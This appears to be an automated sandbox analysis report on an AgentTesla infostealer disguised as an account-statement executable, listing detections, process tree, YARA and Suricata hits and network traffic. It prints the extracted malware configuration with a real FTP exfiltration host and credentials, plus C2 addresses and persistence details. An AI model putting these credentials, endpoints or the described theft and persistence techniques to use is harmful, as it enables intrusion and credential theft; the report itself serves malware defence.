Edit tour

Windows Analysis Report
Statement of Account - USD 16,720.00.exe

Overview

General Information

Sample name:	Statement of Account - USD 16,720.00.exe
Analysis ID:	1582790
MD5:	cf173ca1db13dfc7237fd33630926b65
SHA1:	783e42e20da75ea1a2fd7a02e3824f251f26cf4f
SHA256:	1b9d152c5cd6e2904ada0ca707dbd2bb089ac59f8b07723490552a000848cc54
Tags:	agentteslaexeuser-juroots
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

.NET source code contains potential unpacker

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Drops executable to a common third party application directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Statement of Account - USD 16,720.00.exe (PID: 4828 cmdline: "C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

Statement of Account - USD 16,720.00.exe (PID: 1288 cmdline: "C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

adobe.exe (PID: 1532 cmdline: "C:\Users\user\AppData\Roaming\adobe\adobe.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

adobe.exe (PID: 1868 cmdline: "C:\Users\user\AppData\Roaming\adobe\adobe.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

adobe.exe (PID: 7116 cmdline: "C:\Users\user\AppData\Roaming\adobe\adobe.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

adobe.exe (PID: 5560 cmdline: "C:\Users\user\AppData\Roaming\adobe\adobe.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

adobe.exe (PID: 6292 cmdline: "C:\Users\user\AppData\Roaming\adobe\adobe.exe" MD5: CF173CA1DB13DFC7237FD33630926B65)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://s4.serv00.com", "Username": "f2241_evico", "Password": "Doll650#@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2241640405.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.4487080897.000000000290C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.4486848273.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 4828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 4828	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 1288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Statement of Account - USD 16,720.00.exe PID: 1288	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: adobe.exe PID: 7116	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: adobe.exe PID: 7116	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: adobe.exe PID: 6292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: adobe.exe PID: 6292	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32156:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x321c8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32252:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x322e4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3234e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x323c0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32456:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x324e6:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2f439:$s2: GetPrivateProfileString 0x2eb44:$s3: get_OSFullName 0x3016e:$s5: remove_Key 0x30313:$s5: remove_Key 0x31272:$s6: FtpWebRequest 0x32138:$s7: logins 0x326aa:$s7: logins 0x353bb:$s7: logins 0x3546d:$s7: logins 0x36dbe:$s7: logins 0x36007:$s9: 1.85 (Hash, version 2, native byte-order)
6.2.adobe.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.adobe.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.adobe.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33f56:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33fc8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34052:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x340e4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3414e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x341c0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34256:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x342e6:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.adobe.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31239:$s2: GetPrivateProfileString 0x30944:$s3: get_OSFullName 0x31f6e:$s5: remove_Key 0x32113:$s5: remove_Key 0x33072:$s6: FtpWebRequest 0x33f38:$s7: logins 0x344aa:$s7: logins 0x371bb:$s7: logins 0x3726d:$s7: logins 0x38bbe:$s7: logins 0x37e07:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33f56:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6f586:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xaa9a6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33fc8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6f5f8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xaaa18:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34052:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6f682:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xaaaa2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x340e4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6f714:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xaab34:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3414e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6f77e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xaab9e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x341c0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f7f0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xaac10:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34256:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f886:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xaaca6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31239:$s2: GetPrivateProfileString 0x6c869:$s2: GetPrivateProfileString 0xa7c89:$s2: GetPrivateProfileString 0x30944:$s3: get_OSFullName 0x6bf74:$s3: get_OSFullName 0xa7394:$s3: get_OSFullName 0x31f6e:$s5: remove_Key 0x32113:$s5: remove_Key 0x6d59e:$s5: remove_Key 0x6d743:$s5: remove_Key 0xa89be:$s5: remove_Key 0xa8b63:$s5: remove_Key 0x33072:$s6: FtpWebRequest 0x6e6a2:$s6: FtpWebRequest 0xa9ac2:$s6: FtpWebRequest 0x33f38:$s7: logins 0x344aa:$s7: logins 0x371bb:$s7: logins 0x3726d:$s7: logins 0x38bbe:$s7: logins 0x6f568:$s7: logins
0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x128626:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x163c56:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x19f076:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x128698:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x163cc8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x19f0e8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x128722:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x163d52:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x19f172:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1287b4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x163de4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x19f204:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x12881e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x163e4e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x19f26e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x128890:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x163ec0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x19f2e0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x128926:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x163f56:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x19f376:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x125909:$s2: GetPrivateProfileString 0x160f39:$s2: GetPrivateProfileString 0x19c359:$s2: GetPrivateProfileString 0x125014:$s3: get_OSFullName 0x160644:$s3: get_OSFullName 0x19ba64:$s3: get_OSFullName 0x12663e:$s5: remove_Key 0x1267e3:$s5: remove_Key 0x161c6e:$s5: remove_Key 0x161e13:$s5: remove_Key 0x19d08e:$s5: remove_Key 0x19d233:$s5: remove_Key 0x127742:$s6: FtpWebRequest 0x162d72:$s6: FtpWebRequest 0x19e192:$s6: FtpWebRequest 0x128608:$s7: logins 0x128b7a:$s7: logins 0x12b88b:$s7: logins 0x12b93d:$s7: logins 0x12d28e:$s7: logins 0x163c38:$s7: logins
0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a656:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x1a5c86:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x1e10a6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a6c8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x1a5cf8:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x1e1118:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a752:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1a5d82:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1e11a2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a7e4:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x1a5e14:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x1e1234:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a84e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x1a5e7e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x1e129e:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a8c0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x1a5ef0:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x1e1310:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a956:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x1a5f86:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x1e13a6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x167939:$s2: GetPrivateProfileString 0x1a2f69:$s2: GetPrivateProfileString 0x1de389:$s2: GetPrivateProfileString 0x167044:$s3: get_OSFullName 0x1a2674:$s3: get_OSFullName 0x1dda94:$s3: get_OSFullName 0x16866e:$s5: remove_Key 0x168813:$s5: remove_Key 0x1a3c9e:$s5: remove_Key 0x1a3e43:$s5: remove_Key 0x1df0be:$s5: remove_Key 0x1df263:$s5: remove_Key 0x169772:$s6: FtpWebRequest 0x1a4da2:$s6: FtpWebRequest 0x1e01c2:$s6: FtpWebRequest 0x16a638:$s7: logins 0x16abaa:$s7: logins 0x16d8bb:$s7: logins 0x16d96d:$s7: logins 0x16f2be:$s7: logins 0x1a5c68:$s7: logins
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\adobe\adobe.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe, ProcessId: 1288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adobe

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T14:01:58.492073+0100	2029927	1	A Network Trojan was detected	192.168.2.5	49707	213.189.52.181	21	TCP
2024-12-31T14:02:12.444136+0100	2029927	1	A Network Trojan was detected	192.168.2.5	49713	213.189.52.181	21	TCP
2024-12-31T14:02:20.618400+0100	2029927	1	A Network Trojan was detected	192.168.2.5	49745	213.189.52.181	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T14:01:59.039543+0100	2855542	1	A Network Trojan was detected	192.168.2.5	49709	213.189.52.181	63775	TCP
2024-12-31T14:01:59.044751+0100	2855542	1	A Network Trojan was detected	192.168.2.5	49709	213.189.52.181	63775	TCP
2024-12-31T14:02:13.007555+0100	2855542	1	A Network Trojan was detected	192.168.2.5	49718	213.189.52.181	63475	TCP
2024-12-31T14:02:13.012652+0100	2855542	1	A Network Trojan was detected	192.168.2.5	49718	213.189.52.181	63475	TCP
2024-12-31T14:02:21.179731+0100	2855542	1	A Network Trojan was detected	192.168.2.5	49756	213.189.52.181	63292	TCP
2024-12-31T14:02:21.188362+0100	2855542	1	A Network Trojan was detected	192.168.2.5	49756	213.189.52.181	63292	TCP

Joe Security MALWARE AgentTesla - FTP Exfil Keyboard Logs

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T14:03:30.360786+0100	1800007	1	A Network Trojan was detected	192.168.2.5	49990	213.189.52.181	64485	TCP

Joe Security MALWARE AgentTesla - FTP Exfil Passwords

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T14:02:21.188362+0100	1800009	1	A Network Trojan was detected	192.168.2.5	49756	213.189.52.181	63292	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Statement of Account - USD 16,720.00.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Avira: detection malicious, Label: HEUR/AGEN.1306767

Found malware configuration

Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://s4.serv00.com", "Username": "f2241_evico", "Password": "Doll650#@"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: Statement of Account - USD 16,720.00.exe	Virustotal: Detection: 33%			Perma Link
Source: Statement of Account - USD 16,720.00.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Statement of Account - USD 16,720.00.exe

Joe Sandbox ML: detected

Source: Statement of Account - USD 16,720.00.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49732 version: TLS 1.2

Source: Statement of Account - USD 16,720.00.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:49718 -> 213.189.52.181:63475
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:49709 -> 213.189.52.181:63775
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.5:49713 -> 213.189.52.181:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.5:49745 -> 213.189.52.181:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.5:49707 -> 213.189.52.181:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:49756 -> 213.189.52.181:63292
Source: Network traffic	Suricata IDS: 1800009 - Severity 1 - Joe Security MALWARE AgentTesla - FTP Exfil Passwords : 192.168.2.5:49756 -> 213.189.52.181:63292
Source: Network traffic	Suricata IDS: 1800007 - Severity 1 - Joe Security MALWARE AgentTesla - FTP Exfil Keyboard Logs : 192.168.2.5:49990 -> 213.189.52.181:64485

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 213.189.52.181 ports 64485,63475,63775,1,2,63292,21

Source: global traffic

TCP traffic: 192.168.2.5:49709 -> 213.189.52.181:63775

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 213.189.52.181 213.189.52.181

Source: Joe Sandbox View

ASN Name: ECO-ATMAN-PLECO-ATMAN-PL ECO-ATMAN-PLECO-ATMAN-PL

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown

FTP traffic detected: 213.189.52.181:21 -> 192.168.2.5:49707 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:01. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:01. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:01. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: s4.serv00.com

Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000290C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s4.serv00.com
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
